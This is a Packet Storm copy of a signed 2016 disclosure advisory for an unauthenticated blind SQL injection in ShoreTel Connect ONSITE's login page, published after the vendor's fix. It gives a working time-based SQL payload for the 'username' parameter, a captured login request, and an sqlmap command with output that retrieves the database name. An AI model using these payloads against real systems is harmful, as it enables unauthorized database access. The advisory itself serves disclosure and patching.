ShoreTel Connect ONSITE Blind SQL Injection

2016-09-19T00:00:00
ID PACKETSTORM:138764
Type packetstorm
Reporter Iraklis Mathiopoulos
Modified 2016-09-19T00:00:00

Description

                                        
                                            `-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256  
  
ShoreTel Connect ONSITE Blind SQL Injection Vulnerability  
=======================================================================  
vulnerability type: Unauthenticated Blind SQL Injection  
product: ShoreTel Connect ONSITE  
vulnerable version: 20.xx.xxxx.x and 21.xx.xxxx.x up to 21.79.4311.0  
fixed version: 21.79.9308.0  
homepage:  
https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview  
discovery: 2016-07  
by: Iraklis Mathiopoulos  
  
https://medium.com/@iraklis  
========================================================================  
  
Vendor description:  
- -------------------  
"ShoreTel is one of the largest providers of cloud, premises-based and hybrid  
business telephony and unified communications (UC) solutions. Our award-winning,  
brilliantly simple communications offerings lead the industry in customer  
satisfaction and lowest total cost of ownership. Our innovative business phones,  
application integration, collaboration tools, mobility, and contact center  
applications empower organizations and employees to collaborate,  
connect and work  
no matter time, place or device."  
  
URL: https://www.shoretel.com/  
  
  
Vulnerability overview/description:  
- -----------------------------------  
Versions of ShoreTel Connect ONSITE prior and including 21.79.4311.0  
are vulnerable  
to a Blind SQL Injection in /authenticate.php, on the webserver that  
is running the  
Conference system.  
  
Specifically, the POST parameter "username" is not sanitised prior to being used  
in SQL Queries. Using test'%20and%20(select*from(select(sleep(35)))a)--%20  
for the username value the server will respond after approximately 35 seconds.  
  
No authentication is needed in order to exploit the vulnerability as the issue  
resides in the pre-authentication realm of the system.  
  
  
Proof of Concept:  
- -----------------  
  
req.burp:  
- ---  
POST https://conference.shoretel.com/authenticate.php HTTP/1.1  
Host: conference.shoretel.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0)  
Gecko/20100101 Firefox/47.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Referer: https://conference.shoretel.com/signin.php?ret=index.php&brand=1&brandUrl=index.php&rand=377311852  
Cookie: PHPSESSID=fd3eb46033541487cce7774b917c655d  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 197  
  
password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw%3D%3D&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123&vpassword=&SUBMIT1=Sign+In  
- ---  
  
root@kali:~/projects# sqlmap -r req.burp -p username --dbms=mysql  
--technique=T --time-sec=10 --level=5 --risk=3 --current-db  
_  
___ ___| |_____ ___ ___ {1.0-dev-nongit-201607120a89}  
|_ -| . | | | .'| . |  
|___|_ |_|_|_|_|__,| _|  
|_| |_| http://sqlmap.org  
  
  
[*] starting at 19:59:34  
  
[19:59:34] [INFO] parsing HTTP request from 'req.burp'  
[19:59:34] [INFO] testing connection to the target URL  
[19:59:42] [INFO] checking if the target is protected by some kind of  
WAF/IPS/IDS  
sqlmap resumed the following injection point(s) from stored session:  
- ---  
Parameter: username (POST)  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)  
Payload: password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw==&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123'  
AND (SELECT * FROM (SELECT(SLEEP(10)))Qlhs) AND 'jIev' LIKE  
'jIev&vpassword=&SUBMIT1=Sign In  
- ---  
[19:59:54] [INFO] testing MySQL  
[20:02:25] [INFO] confirming MySQL  
[20:03:12] [INFO] the back-end DBMS is MySQL  
web application technology: Apache  
back-end DBMS: MySQL >= 5.0.0  
[20:03:12] [INFO] fetching current database  
[20:03:12] [INFO] retrieved: shoreware  
current database: 'shoreware'  
[20:21:10] [INFO] fetched data logged to text files under  
'/root/.sqlmap/output/conference.shoretel.com'  
  
[*] shutting down at 20:21:10  
  
  
  
Vulnerable / tested versions:  
- -----------------------------  
Version 21.79.4311.0 of ShoreTel Connect ONSITE was found to be  
vulnerable. This version was the latest version at the time of the  
discovery.  
  
  
Vendor contact timeline:  
- ------------------------  
2016-07-23: Initial email was sent to multiple Vendor email addresses  
2016-07-24: Initial Vendor reply acknowledging email receipt  
2016-07-26: Email from vendor requiring more information  
2016-07-26: Reply with full technical details  
2016-08-04: Vendor releases upgrade fixing the vulnerability  
2016-08-30: Email to CERT  
2016-09-06: CERT alerts CERT-US  
2016-09-19: Public Disclosure  
  
  
Solution:  
- ---------  
The latest version of ShoreTel Connect ONSITE should be installed  
immediately. This update can be found at:  
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK  
  
Related ShoreTel security bulletin:  
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v2  
  
iQEcBAEBCAAGBQJX3+ClAAoJECvKFEKpDztj9uoIAILxYo5lZNzCiuAvQXqrD5yU  
p0JV9Nkb/G3hMX8I+VXDIbm1mPla/TLZYR59jcVrNTP+m+crX4Rd3f/n4GiuWPIK  
6XkZYULtSvQkNWPqS6+NBlcol6KTkEgtfeXXGZrJNVHy/Bl0BSCAPInSXAkw0/A9  
Gnjv49axwFGC17txR5s+Polc918X6DBFpu+7Xgj0yAEats/yS/E//BR3y+0FUUmg  
UxI73hEtMe6MPH8Dzhi/DkIFOHtY30bK3Zy+CX8qTNP8WiqCivxiVdCnXev0TU/z  
lXKasg9eo/o8JGa/xKD9l/JPYnbAPyyY+FYKuCcXZNk40i8v5cFCWjrbQFb4Clc=  
=GfVw  
-----END PGP SIGNATURE-----  
  
  
`